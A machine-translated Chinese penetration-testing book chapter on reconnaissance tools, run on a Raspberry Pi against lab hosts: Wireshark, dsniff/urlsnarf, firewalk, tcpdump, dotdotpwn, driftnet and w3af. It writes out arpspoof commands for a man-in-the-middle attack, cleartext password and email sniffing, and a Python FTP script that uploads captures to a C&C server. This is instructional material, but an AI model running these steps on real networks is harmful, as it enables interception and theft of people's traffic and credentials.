Wireshark绝对是任何网络/安全工程师都能拥有的最重要工具之一。这两种类型的工程师都是由 Wireshark 决定生死的,因为每个问题往往要么是网络的故障,要么是防火墙相关的问题,除非另有证明,这是 Wireshark 的工作。Wireshark 是一种基于图形的多平台数据包分析器,在渗透测试工具系列中有许多重要用途。Wireshark 预装在 Kali Linux 中,并包含在 Kali Linux 应用程序下拉菜单的前 10 个工具类别中。

Wireshark 允许用户在数据包级别深入查看通过我们感测的接口的流量。这使我们能够非常详细地查看我们可能希望看到的所有内容,从第 2 层帧级别一直到第 7 层协议信息,包括页眉和页脚、完整性检查以及有效负载本身。更妙的是,Wireshark 为我们展示了所有这些!

正如我们在第 3 章计划攻击中提到的,Wireshark 涵盖了网络杀戮链的许多阶段。因为我们谈论的是侦察阶段,所以我们将主要关注在该阶段如何使用它。请放心,我们一定会在未来的章节中更多地讨论 Wireshark。

以下是 Wireshark 主屏幕的截图:

Wireshark

我们需要做的第一件事是选择要在哪个接口上进行数据包捕获。这是一个非常重要的步骤,因为未能选择正确的界面可能会极大地影响我们的结果(这意味着我们永远看不到我们计划做什么,或者可能什么都看不到)。我们可以点击界面列表,以获得一个屏幕,其中列出了所有可供选择的界面。在此之后,我们可以开始收集数据包,只要我们有流量通过我们选择的接口。这是我们网络上捕获的数据包的屏幕截图。我们将看到的第一件事是数据包流的不同突出显示的颜色。颜色编码允许我们突出显示某些数据包类型,使我们能够在显示器上很容易地看到它们。您可以设置颜色编码来为特定协议和特定条件(如 OSPF 状态更改)着色。这是 Wireshark 非常方便的功能。Wireshark 中默认有一个内置的颜色编码模板,但我们可以修改它以满足我们的个人需求:

Wireshark

Wireshark 最方便的功能之一是能够将捕获转储到文件中。如果我们想让 Raspberry Pi 完成所有捕获,然后将这些文件转储到 C&C 服务器上进行进一步分析,那么这是一个非常重要的特性。让 Wireshark 根据时间或大小滚动转储文件的能力也很关键,特别是由于 Pi 上的空间限制或到 C&C 服务器的连接限制。您可能希望将它们以较小的尺寸卸下,以避免由于流量的较大异常而触发网络上的任何警报:

Wireshark

最后,但并非最不重要的是,Wireshark 真正由过滤器驱动。过滤器允许我们自定义和调整捕获,以完全匹配我们希望看到的内容,并且仅此而已。如果没有过滤器,Wireshark 在当今的大多数环境中作为一种分析工具通常会变得毫无用处(除非我们只是将其转储到文件中)。任何具有任何类型流量的大型链接都会以如此之快的速度传输,以至于我们无法读取它,因此,如果我们使用 Wireshark 作为捕获工具和分析工具,那么过滤器肯定是我们想要从内到外了解的东西。

以下是一些过滤器示例的列表:

Wireshark

提示

在我们使用更复杂的过滤器进行的一些测试中,Wireshark 会在我们身上崩溃。我们能够一次又一次地复制这个。为了解决这个问题,一种选择是使用 TCPdump 或 Wireshark 之类的工具转储流量,然后将 pcap 文件卸载到我们的 C&C 服务器上,以便进行进一步、更精确的过滤。另一个选择是在 Raspberry Pi 上运行 TShark,在 C&C 服务器上运行全面的 Wireshark,以减少一些崩溃实例。

在本章和未来章节的后续章节中,我们将展示利用 Wireshark 满足某些渗透测试需求的示例。

dsniff

虽然我们已经在上一节中使用了它,但应该说,dsniff还有很多内容。dsniff是一个安全工具集合,设计用于查看不同的应用程序协议,并在明文中从中提取重要信息。这些信息可用于进一步了解攻击。dsniff中包含的其他一些工具包括filesnarfmailsnarfurlsnarfwebspy。这些工具在正确的应用程序端口上查找此特定流量,并可以向我们提供该应用程序的详细信息。以下是其中一些的快速定义:

  • Webspy:通过在本地打开一个浏览器窗口,向我们展示人们正在浏览的 URL
  • Urlsnarf:它向我们显示了用户网络上正在浏览的 URL
  • mailsnarf:显示我们网络上来自 POP 和 SMTP 流量的所有电子邮件
  • dsniff:显示通过网络以明文形式发送的密码

例如,我们将使用名为urlsnarfdsniff包中的工具。以下是命令选项的快速 CLI 输出:

root@kali:~# urlsnarf -? 
Version: 2.4 
Usage: urlsnarf [-n] [-i interface | -p pcapfile] [[-v] 
pattern [expression]]

如前所述,如果 Raspberry Pi 正在播放 HTTP 连接的 MITM,我们将能够看到我们的受害者计算机试图命中的所有 URL。我们可以参考本章 Pi 部分的获取数据部分,了解实现这一点的不同方法。

在我们的示例中,我们将使用 ARP 欺骗。首先,我们需要以我们的默认网关为目标,用我们想要截获数据包的主机的 MAC 对其进行毒害,然后将其反转,使其朝另一个方向移动。下面是我们用来实现这一点的命令。我们分别在各自的终端窗口中运行:

arpspoof -i eth0 -t 192.168.1.1 192.168.1.38
arpspoof -i eth0 -t 192.168.1.38 192.168.1.1

现在我们已经运行了这些命令,我们的 Raspberry Pi 应该是内联用于这两台主机之间的通信。在我们的示例中,192.168.1.38 是主机端点,192.168.1.1 是默认网关。下一步是urlsnarf开始在我们的端点上拉取正在浏览的 URL。正如我们在下面的屏幕截图中所看到的,我们能够成功地抓取这些 URL。其他dsniff工具的工作方式几乎相同,它们只是查看与该工具匹配的不同服务:

dsniff

Firewalk

Firewalk是一种主动侦察网络扫描仪,可帮助确定路由器或防火墙将通过或拒绝的第 4 层协议。这是一个很好的工具,可以通过坏的、差的或缺少的 ACL 找到进入环境的方法。正因为如此,它还是审核防火墙或路由器 ACL 以确保其正确处理流量的极好工具。Firealk 使用 ICMP 错误消息和 TTL 过期来让我们知道端口是否打开,这与跟踪路由非常相似。如果某个端口被打开或允许,则发送到该端口的数据包通常会被安全设备无声地丢弃。但是如果端口被打开,数据包的 TTL 将在下一跳过期,并发出ICMP_TIME_EXCEEDED错误消息。

Firewalk 是一种两阶段工具。第一阶段称为跳变阶段。它唯一的任务是找到target_gateway的正确跃点计数,以便在下一阶段锁定正确的 TTL(跃点计数加 1)。第二阶段涉及从该点开始,使用我们从 CLI 上的选项指定的端口对该度量主机进行端口扫描。

使用该工具非常简单。在没有任何参数的情况下从 CLI 运行firewalk将列出所有可用的交换机。这是我们终端的输出:

root@kali:~# firewalk 
Firewalk 5.0 [gateway ACL scanner] 
Usage : firewalk [options] target_gateway metric 
       [-d 0 - 65535] destination port to use (ramping phase) 
       [-h] program help 
       [-i device] interface 
       [-n] do not resolve IP addresses into hostnames 
       [-p TCP | UDP] firewalk protocol 
       [-r] strict RFC adherence 
       [-S x - y, z] port range to scan 
       [-s 0 - 65535] source port 
       [-T 1 - 1000] packet read timeout in ms 
       [-t 1 - 25] IP time to live 
       [-v] program version 
       [-x 1 - 8] expire vector

正如我们所看到的,只有几个选项可供选择,在这种情况下是好的。在技术上,我们只需要指定target_gatewayfirewalk工作的度量。target_gateway是指我们要检查 ACL 或访问权限的网关/防火墙/安全设备的 IP 地址。metric只是指位于target_gateway地址后面或后面的 IP 地址。这个 IP 地址甚至不需要在target_gateway的下一个跃点内,也不需要是一个真正的地址。target_gateway的唯一任务是让firewalk尝试向其发送流量,然后我们可以确定target_gateway是否允许数据包通过。从技术上讲,它永远不会到达它,因为 TTL 将在下一跳过期,因此会引发ICMP_TIME_EXCEEDED。我们可以选择一个真正的目的地,如果我们选择让事情变得更容易的话,只要确保它就在后面target_gateway

现在,我们已经了解了司令部,让我们看一些例子,看看如何从中收集一些伟大的侦察信息,用于我们的渗透测试活动。

在第一个示例中,我们使用firewalk检查了几个通往目标192.168.30.250的知名端口。我们试图侦察的主机是主机192.168.1.1,它恰好是一个安全设备。在 CLI 命令中,我们使用-S开关指定了源和目标端口以及端口范围。

在下面的输出中,我们可以看到两个阶段在起作用。在第一阶段中,我们可以通过看到第一个 TTL 过期来看到跃点渐变。在本例中,第一个跃点是192.168.1.1。在下一个跃点,第一阶段现在已绑定,因此第二阶段可以开始。在第二阶段,我们针对 CLI 指定的那些众所周知的端口现在正在测试中。结果显示端口22(SSH)和5900(VNC)是开放的—非常有用!我们可以将从firewalk测试中收集到的信息用于未来的渗透测试任务。

提示

某些安全设备不会减少 TTL。如果是这种情况,我们可能无法在该设备上获得跃点计数。如果在内部进行测试,我们可以根据需要在某些防火墙上关闭该功能。有时,当此功能打开时,如果路径中没有另一个降低 TTL 的跃点,我们将收到一条错误消息,该度量在目标之前响应,并且它不能在路由中。

Firewalk

现在,我们还想展示如果设备上有 ACL 会发生什么,以查看输出将如何变化。在下面的示例中,我们在端口 TCP5900上放置了一个 ACL 来显示这一点。我们可以从输出中看到,ACL 导致 Firealk 现在没有显示响应,而 open 和 port 侦听则没有。这清楚地表明有一个安全设备正在删除该端口:

Firewalk

使用 Wireshark,我们可以看到之前运行的firewalk命令的一些输出。我们可以深入了解第 3 层和第 4 层的信息,以便查看可用的详细信息:

Firewalk

根据我们的测试,我们看到firewalk在协助侦察和帮助确定渗透测试期间目标环境中任何不必要或不需要的孔方面的价值。现在,我们可以使用这些信息对我们的环境进行更改,或者使用这些信息进行进一步的渗透测试,因为我们已经有了一些关于网络上的内容以及下一步要去哪里的附加信息。

调整我们的网络捕获

关于网络捕获,我们之前关注的一点是,在 Raspberry Pi 上运行一个完整的基于图形的数据包分析器可能不是一个好主意。首先,由于硬件资源有限,它可能会很慢,而且会明显滞后。此外,根据我们的经验,在安装更具体的过滤器时,它往往会崩溃。当我们进行侦察工作时,无法进行捕获不是一种选择。幸运的是,有一种方法可以通过利用tcpdump来解决这个问题。

tcpdump是一个基于 CLI 的数据包捕获实用程序,是一个非常强大的实用程序。使用tcpdump,我们可以创建与Wireshark类似的各种过滤器,但由于它都是 CLI,因此不会出现基于 GUI 的应用程序的性能问题。现在,就像使用Wireshark一样,如果我们在繁忙的 100 MB 链路上运行tcpdump,我们可能不会从该实用程序中获得太多好处。因此,我们需要知道如何缩小tcpdump所关注的范围,以便我们能够最大限度地利用我们的捕获。我们将介绍一些如何在覆盆子皮上有效使用tcpdump的技巧。

tcpdump首先我们会注意到有很多选择:

Tuning our network capture

我们将在本节中重点关注的是表达式,这将允许我们调整或更具体地了解我们在捕获中寻找的内容。

我们可以使用表达式按单个主机进行筛选。这里有两种表达方式:

tcpdump host www.domain.com 
tcpdump host 192.168.30.250 

如果只寻找某个方向,我们还可以指定 SRC 和 DST 主机:

tcpdump src 192.168.1.222 
tcpdump 'src 192.168.1.222 and dst 192.168.30.250' 

提示

注意单词和的用法。如果我们组合表达式,我们可以使用这些典型的关键字:AND、OR、NOT。我们也可以使用括号来完成操作顺序。在组合表达式时,我们也倾向于使用撇号,尽管它并不总是必需的。

如果要查找特定网络上的任何活动内容,我们还可以指定整个网络:

tcpdump net 192.168.30.0/24 

既然我们对主机有了很好的了解,我们就可以深入了解端口了。我们可以使用很多选项:

tcpdump tcp 
tcpdump port 22 
tcpdump dst port 22 
tcpdump 'tcp and dst port 22' 
tcpdump 'tcp and dst port 22 and src port 53029' 

现在我们已经对过滤器有了基本的了解,我们完全可以调整tcpdump命令以最大限度地发挥我们的作用。但是,由于我们通常只是在 Raspberry Pi 上进行捕获,因此我们需要学习如何将捕获写入文件。这是通过使用指定文件名的-w开关来实现的。我们倾向于使用.pcap扩展名,但.cap.dmp也有些常见:

tcpdump -w SSHcap.pcap 'tcp and dst port 22 and src port 53029' 

我们也可以通过tcpdump读入文件进行检查。也许我们把一堆捕获的东西丢给了我们的树莓皮,我们不确定哪一个是我们想要转移给我们的。我们可以使用后面跟文件名的-r开关将它们读入tcpdump

tcpdump -r SSHcap 

我们可以用来帮助调整捕获的最后一项是-n开关。这确实节省了处理能力,因为tcpdump不会尝试将 IP 地址转换为域名:

tcpdump 'tcp and dst port 22 and src port 53029' -n -w SSH.pcap

为将来访问编写 tcpdump 脚本

在上一章中,我们讨论了tcpdump以及如何有效地使用它。Raspberry Pi 有一些硬件限制,尽管它比前几代强大得多。当 Wireshark 使用类似于我们在tcpdump中运行的过滤器反复崩溃时,这些限制很快变得明显。因此,在 Raspberry Pi 上使用tcpdump并将这些文件发送到我们的 C&C 服务器以供将来分析是最好的选择。问题是,我们如何做到这一点?

有很多方法可以通过 Internet 传输文件。我们必须回答的第一个问题是“我想让文件通过加密通道传输,还是可以选择纯文本?”答案将决定我们需要选择哪种传输协议。FTP 之类的东西很常见,但并不安全。因此,如果需要确保这些流量捕获的安全,那么使用诸如**SSH 文件传输协议****【SFTP】安全拷贝(SCP)**之类的东西可以满足这一需求。

提示

如果我们计划捕获敏感信息,我们可能会问“为什么要这么做,而不仅仅是使用 FTP?”保护这些数据是有意义的。这就引出了一个问题:“为什么要首先考虑 FTP?”我们在前面的部分中使用 FTP,因为业界熟悉和文件传输的自动脚本化的可用性。但是,如果可能的话,让我们带头,尽可能使用更安全的协议,树立一个好榜样。

对于我们的示例,我们将使用一个 Python 脚本,可以运行该脚本定期将文件发送到 C&C 服务器。这样,我们就不用担心撞坏树莓皮了;我们可以使用tcpdump在 Pi 上本地完成所有捕获,并发送到我们的 C&C 服务器,稍后我们可以在那里对它们进行全面分析。

这是首选方法,因为我们的 C&C 服务器应该有更多的硬件资源来进行我们需要的深入分析:

Scripting tcpdump for future access

首先,我们将构建 Python 脚本。这将是一个基本脚本,因此可以将其用作模板:

root@kali:~# cat ftp-transfer.py 

import ftplib 
import sys 

inputfile = sys.argv[1] 
session = ftplib.FTP('FTP-HOST','FTP-USER','FTP-PASS') 
file = open(inputfile,'rb') 
storvar = "STOR %s" % inputfile 
session.storbinary(storvar, file) 

file.close() 
session.quit()

在脚本中,我们通过 CLI 通过第一个参数指定文件名。这样,我们可以快速移动文件。我们需要编辑文件以添加正确的FTP HostFTP UserFTP Password。下面是我们如何通过 CLI 运行它:

root@kali:~# python ftp-transfer.py SSHcap.pcap 

现在我们已经准备好了脚本,我们可以使用wireshark轻松地将文件传输到 C&C 服务器进行深入分析。

网络应用黑客

发现、分析和模糊 web 应用程序是获取有关碰巧运行某种 web 应用程序的目标的侦察信息的一种好方法。这些信息将使您能够确切地知道您的网络上有什么可以使用,以及下一步可以去哪里。我们将首先使用一个工具,如dotdotpwn来完成一些模糊化,并利用w3af来检查漏洞。

dotpwn

Dotdotpwn是用于发现遍历目录漏洞的多协议模糊器。Fuzzer 提供了一种测试技术,可以在 web 服务器甚至操作系统等软件应用程序中查找糟糕的编码或安全漏洞。最终目标是在侦察阶段发现这些漏洞,以便我们以后可以利用它们。所以dotdotpwn是一个很好的侦察工具。

关于dotdotpwn首先要知道的是,它支持许多不同的协议或模块。这些模块包括 HTTP、FTP 和 TFTP,仅举几个例子。我们将针对其中一个 Web 服务器使用 HTTP 模块进行一些测试。

第一次尝试运行dotdotpwn时,我们遇到一个 Perl 错误,即未安装特定模块(switch.pm):

DotDotPwn

为了克服这个问题,我们只需安装libswitch-perl。因此,在 CLI 中,我们运行了apt-get install libswitch-perl命令:

DotDotPwn

安装后,我们可以检查测试 web 服务器是否存在任何目录遍历漏洞,稍后可以尝试利用这些漏洞进行攻击。从 CLI 运行dotdotpwn时,有许多不同的选项。以下是我们的 CLI 示例的输出:

DotDotPwn

现在我们有了所有的选项,我们将在实验室中对主机 192.168.1.134 进行测试。在我们的测试中,我们将使用带有-m开关的http方法,以及将我们遍历的depth限制为3。最后,我们将使用-h开关指定我们的主机。以下是用于我们测试的 CLI 命令:

dotdotpwn -m http -c 3 -h 192.168.1.134 

在运行时,我们可以通过tcpdump看到正在进行的各种目录遍历检查。在我们的测试中有一个tcpdump

DotDotPwn

在运行时,我们将看到所有目录遍历测试的输出。要有耐心,尽管这可能需要很长时间才能完成。我们花了将近一个小时,深度仅为3,正如我们在最终输出中所看到的:

DotDotPwn

一种选择是使用-b开关,一旦发现有漏洞的主机,该开关将立即停止测试。我们使用-b开关重新运行了测试,不到五分钟就发现了易受攻击的目录遍历:

DotDotPwn

我们也可以参考报告了解测试信息。我们的观察结果之一是,没有生成任何报告,尽管我们得到的信息是有一份报告。这可能只是我们方面的一个问题,但我们确实希望它让我们知道我们观察到了什么。

漂网

一个用于查看中间人攻击期间捕获的图像的实用程序是一个名为漂移网的程序。有更好的方法找到更有趣的数据;然而,如果我们专注于观看图像,漂移网是有用的。漂移网络并不是预先安装在 Kali Linux ARM 上的。我们可以使用以下命令下载它:

aptget install driftnet 

安装后,使用driftnet-i eth0命令运行它。这将打开一个空白的新终端窗口。受害者在 MITM 攻击期间看到的任何图像都将开始在此窗口中填充。

下面的屏幕截图显示了一台主机正在访问www.cisco.com,而漂移网正在捕获图像:

Driftnet

W3af

W3af 是一个 web 应用程序审计和攻击框架。W3af 旨在识别和利用目标主机发现的任何漏洞。有人将此工具称为 web 应用程序的元 spoit,这无疑让我们感到好奇。

有一个基于图形的工具和一个基于 CLI 的工具。我们在使用基于 GUI 的工具时遇到了一些问题,因此我们坚持使用基于 CLI 的工具。W3af 背后有很大的力量,所以我们现在选择将其范围限制在侦察活动,因为我们在侦察章节。

提示

如果在任何时候您不确定您的选项,您可以键入 help 命令。它将列出该特定部分中的所有可用命令。

有一个过程可以启动 W3af 并扫描您的环境。以下是我们在测试环境中审核某个 web 服务器的步骤:

  1. 我们首先安装了w3af实用程序。我们可以通过 CLI 运行以下命令来完成此操作:

     apt-get install w3af 
    
    
  2. To start w3af , we just run the following command and we will see the w3af prompt:

     root@kali:~# w3af 
            w3af>>> 
    
    

    此提示将始终让您知道自己在命令结构中的位置。您可以深入到结构中,并可以使用 back 命令一次返回一个级别。

  3. 一旦运行,我们要做的第一件事就是设置一些插件来使用。要进入 plugins 目录,我们只需键入 plugins。我们现在应该看到以下提示:

     w3af/plugins>>> 
    
    
  4. The plugins section is where we select which type of plugin we want to use against our target. We will be using the audit plugin type for this test. To do this, we'll just type audit , and will see all the options available for the audit type. For our test, we enabled all by using the audit all command. If we want to only enable certain plugins, we can individually choose rather than turn them all on:

    W3af

  5. 一旦我们配置了插件,我们就需要设置输出类型。我们可以选择输出到文件或控制台。我们在插件部分中这样做。我们选择使用以下命令输出到控制台:

     w3af/plugins>>> output console 
    
    
  6. Finally, we just need to set the target of our web application audit. For this, we need to type back to go back into the main w3af prompt. Once there, we can use the target prompt and set the target of your attack. Here is our output:

    W3af

  7. Finally, we just need to start the audit. We can accomplish this by using the start command. Once this is done, we will start to see the output of the various audit tests. Here is the output from our audit against one of our web servers:

    W3af

    基于这些发现,我们现在有一些关于渗透测试需要的环境的附加信息。我们当然可以针对客户的目标环境使用这些信息进行更深入的分析。

总结

在本章中,我们介绍了许多在早期渗透测试实践中有用的工具。当你磨练自己的策略时,你肯定会用自己最喜欢的工具替换其中的一些工具,这些工具更适合你的工作流程。与渗透测试本身一样,您自己的实践和工具集需要实践和耐心,以确保您清楚地了解要在何处使用哪些工具。在线资源非常丰富,在前面的章节中,我们尽可能地提供这些资源。

在接下来的几章中,我们将展示其中的许多工具在其他阶段的用处。我们将努力消除任何多余的讨论,但这不应降低它们的重要性。当你在练习你的交易时,不断重复你的测试并尝试你能尝试的所有选项-这是一个有趣的职业,但这种练习和准备将是更好的渗透测试者与脚本小子的区别,我们都试图拒绝访问我们的目标。如果运气好的话,我们在自己的开发中所做的功课,以及我们在这里讨论的侦察和武器化,将导致一个更全面的测试,一个有用的行动后报告,并有望从最有准备的敌人那里获得一个更安全的网络。